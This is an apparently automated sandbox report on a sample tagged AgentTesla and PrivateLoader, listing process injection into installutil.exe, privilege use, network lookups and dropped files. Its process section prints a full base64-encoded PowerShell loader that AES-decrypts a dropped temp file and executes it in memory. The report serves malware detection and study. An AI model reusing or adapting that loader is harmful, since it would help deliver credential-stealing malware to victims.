Malware Analysis Report

2025-01-02 08:05

Sample ID 240510-bjmgmshh5w
Target c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda
SHA256 c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda
Tags
privateloader agenttesla execution keylogger spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda

Threat Level: Known bad

The file c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda was found to be: Known bad.

Malicious Activity Summary

privateloader agenttesla execution keylogger spyware stealer trojan

Privateloader family

AgentTesla

Suspicious use of SetThreadContext

Unsigned PE

Command and Scripting Interpreter: PowerShell

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-10 01:10

Signatures

Privateloader family

privateloader

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-10 01:10

Reported

2024-05-10 01:13

Platform

win7-20240508-en

Max time kernel

120s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda.exe

"C:\Users\Admin\AppData\Local\Temp\c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda.exe"

Network

N/A

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-10 01:10

Reported

2024-05-10 01:13

Platform

win10v2004-20240426-en

Max time kernel

137s

Max time network

102s

Command Line

"C:\Users\Admin\AppData\Local\Temp\c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda.exe"

Signatures

AgentTesla

keylogger trojan stealer spyware agenttesla

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1512 set thread context of 1136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3404 wrote to memory of 516 N/A C:\Users\Admin\AppData\Local\Temp\c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda.exe C:\Windows\system32\cmd.exe
PID 3404 wrote to memory of 516 N/A C:\Users\Admin\AppData\Local\Temp\c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda.exe C:\Windows\system32\cmd.exe
PID 516 wrote to memory of 1512 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 516 wrote to memory of 1512 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1512 wrote to memory of 1136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
PID 1512 wrote to memory of 1136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
PID 1512 wrote to memory of 1136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
PID 1512 wrote to memory of 1136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
PID 1512 wrote to memory of 1136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
PID 1512 wrote to memory of 1136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
PID 1512 wrote to memory of 1136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
PID 1512 wrote to memory of 1136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe

Processes

C:\Users\Admin\AppData\Local\Temp\c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda.exe

"C:\Users\Admin\AppData\Local\Temp\c38858cdfc670f3fc3b2eeacb0d0df8b5286c1353a3b23f36f1802dc1725fcda.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -EncodedCommand CgBmAHUAbgBjAHQAaQBvAG4AIAAdZ7GCFVn+YiAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJACFaLGCLAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJADgf/l6LAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJAA9hPZTCgAgACAAIAAgACkACgAKACAAIAAgACAAJADOmF17IAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMAXQA6ADoAQwByAGUAYQB0AGUAKAApAAoAIAAgACAAIAAkAM6YXXsuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJADOmF17LgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJAA1dDZ0IAA9ACAAJADOmF17LgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQAhWixgiwAIAAkAOB/+XopAAoAIAAgACAAIAAkANiY6pYgAD0AIAAkADV0NnQuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAD2E9lMsACAAMAAsACAAJAA9hPZTLgBMAGUAbgBnAHQAaAApAAoACgAgACAAIAAgACQAzphdey4ARABpAHMAcABvAHMAZQAoACkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJADYmOqWCgB9AAoACgAkAENosYIgAD0AIAAnAEMAOgBcAFwAVQBzAGUAcgBzAFwAXABBAGQAbQBpAG4AXABcAEEAcABwAEQAYQB0AGEAXABcAEwAbwBjAGEAbABcAFwAVABlAG0AcABcAFwAZgBpAGwAZQAtAGYAMgBpAG8AbwB4AGgAaQBoAC4AdABtAHAAJwA7AAoAJACyg7GCIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAENosYIpADsACgAKACQAhWixgiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADkANQAsADAAeAA5ADYALAAwAHgANABFACwAMAB4ADMAMgAsADAAeABDAEUALAAwAHgANQBEACwAMAB4ADUAOAAsADAAeAAwAEQALAAwAHgANAA5ACwAMAB4ADIAMwAsADAAeAA3ADAALAAwAHgAOAAyACwAMAB4ADYANQAsADAAeAA0ADgALAAwAHgANwBEACwAMAB4ADYAMgAsADAAeAAyAEMALAAwAHgAOAA0ACwAMAB4AEUAMgAsADAAeAA4ADQALAAwAHgANgA3ACwAMAB4ADQAMwAsADAAeABEADcALAAwAHgAMgBDACwAMAB4ADQAQgAsADAAeAA5AEIALAAwAHgANAA0ACwAMAB4ADIANAAsADAAeAAxAEMALAAwAHgANgAzACwAMAB4ADkANAAsADAAeAA1ADMAKQAKACQA4H/5eiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADIAQgAsADAAeABGAEYALAAwAHgAQgBBACwAMAB4ADIAQgAsADAAeABGADUALAAwAHgANAA3ACwAMAB4ADQARQAsADAAeAA3ADgALAAwAHgAQQAzACwAMAB4AEUANwAsADAAeAA2ADYALAAwAHgAMwA5ACwAMAB4ADAARQAsADAAeAA5AEMALAAwAHgAMgAyACwAMAB4AEEARQApAAoACgAkAD2E9lMgAD0AIAAdZ7GCFVn+YiAALQCFaLGCIAAkAIVosYIgAC0A4H/5eiAAJADgf/l6IAAtAD2E9lMgACQAsoOxggoACgAkALKEbFHxgiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQAPYT2UykAKQA7AAoAJADLeUNTIAA9ACAAJACyhGxR8YIuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAKACQAy3lDUy4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgAKAA=="

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -EncodedCommand CgBmAHUAbgBjAHQAaQBvAG4AIAAdZ7GCFVn+YiAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJACFaLGCLAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJADgf/l6LAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJAA9hPZTCgAgACAAIAAgACkACgAKACAAIAAgACAAJADOmF17IAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMAXQA6ADoAQwByAGUAYQB0AGUAKAApAAoAIAAgACAAIAAkAM6YXXsuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJADOmF17LgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJAA1dDZ0IAA9ACAAJADOmF17LgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQAhWixgiwAIAAkAOB/+XopAAoAIAAgACAAIAAkANiY6pYgAD0AIAAkADV0NnQuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAD2E9lMsACAAMAAsACAAJAA9hPZTLgBMAGUAbgBnAHQAaAApAAoACgAgACAAIAAgACQAzphdey4ARABpAHMAcABvAHMAZQAoACkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJADYmOqWCgB9AAoACgAkAENosYIgAD0AIAAnAEMAOgBcAFwAVQBzAGUAcgBzAFwAXABBAGQAbQBpAG4AXABcAEEAcABwAEQAYQB0AGEAXABcAEwAbwBjAGEAbABcAFwAVABlAG0AcABcAFwAZgBpAGwAZQAtAGYAMgBpAG8AbwB4AGgAaQBoAC4AdABtAHAAJwA7AAoAJACyg7GCIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAENosYIpADsACgAKACQAhWixgiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADkANQAsADAAeAA5ADYALAAwAHgANABFACwAMAB4ADMAMgAsADAAeABDAEUALAAwAHgANQBEACwAMAB4ADUAOAAsADAAeAAwAEQALAAwAHgANAA5ACwAMAB4ADIAMwAsADAAeAA3ADAALAAwAHgAOAAyACwAMAB4ADYANQAsADAAeAA0ADgALAAwAHgANwBEACwAMAB4ADYAMgAsADAAeAAyAEMALAAwAHgAOAA0ACwAMAB4AEUAMgAsADAAeAA4ADQALAAwAHgANgA3ACwAMAB4ADQAMwAsADAAeABEADcALAAwAHgAMgBDACwAMAB4ADQAQgAsADAAeAA5AEIALAAwAHgANAA0ACwAMAB4ADIANAAsADAAeAAxAEMALAAwAHgANgAzACwAMAB4ADkANAAsADAAeAA1ADMAKQAKACQA4H/5eiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADIAQgAsADAAeABGAEYALAAwAHgAQgBBACwAMAB4ADIAQgAsADAAeABGADUALAAwAHgANAA3ACwAMAB4ADQARQAsADAAeAA3ADgALAAwAHgAQQAzACwAMAB4AEUANwAsADAAeAA2ADYALAAwAHgAMwA5ACwAMAB4ADAARQAsADAAeAA5AEMALAAwAHgAMgAyACwAMAB4AEEARQApAAoACgAkAD2E9lMgAD0AIAAdZ7GCFVn+YiAALQCFaLGCIAAkAIVosYIgAC0A4H/5eiAAJADgf/l6IAAtAD2E9lMgACQAsoOxggoACgAkALKEbFHxgiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQAPYT2UykAKQA7AAoAJADLeUNTIAA9ACAAJACyhGxR8YIuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAKACQAy3lDUy4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgAKAA==

C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
NL 52.142.223.178:80 tcp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
BE 88.221.83.187:443 www.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 45.19.74.20.in-addr.arpa udp
BE 88.221.83.187:443 www.bing.com tcp
US 8.8.8.8:53 187.83.221.88.in-addr.arpa udp

Files

memory/1512-2-0x00007FFFD8783000-0x00007FFFD8785000-memory.dmp

memory/1512-3-0x000001E2C4AE0000-0x000001E2C4B02000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f0s24tdx.10u.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1512-13-0x00007FFFD8780000-0x00007FFFD9241000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\file-f2iooxhih.tmp

MD5 0729c35844068144e666d1cbefe1d33f
SHA1 718cadb64da24c057a5f042a7a08d43a354498bc
SHA256 90d846092c76cefd9fef5e38d24bdce7e1173209b8ee19b92886ef178bdf9d1f
SHA512 2d00b1db6df5563202ff94418bc93db36e1476e80ffe24b530eb0e28ae50f85c4ae85357faa16a98be7137302983f7c87c3e0ce53aa1e0319c6d91283192a2c5

memory/1512-15-0x00007FFFD8780000-0x00007FFFD9241000-memory.dmp

memory/1512-16-0x000001E2C6B90000-0x000001E2C6B9A000-memory.dmp

memory/1512-17-0x000001E2C7080000-0x000001E2C7112000-memory.dmp

memory/1136-18-0x0000000000400000-0x0000000000440000-memory.dmp

memory/1136-19-0x0000000005DC0000-0x0000000006364000-memory.dmp

memory/1136-20-0x00000000059D0000-0x0000000005A36000-memory.dmp

memory/1512-21-0x00007FFFD8780000-0x00007FFFD9241000-memory.dmp

memory/1136-23-0x00000000068B0000-0x0000000006942000-memory.dmp

memory/1136-22-0x00000000067C0000-0x0000000006810000-memory.dmp

memory/1136-24-0x0000000006840000-0x000000000684A000-memory.dmp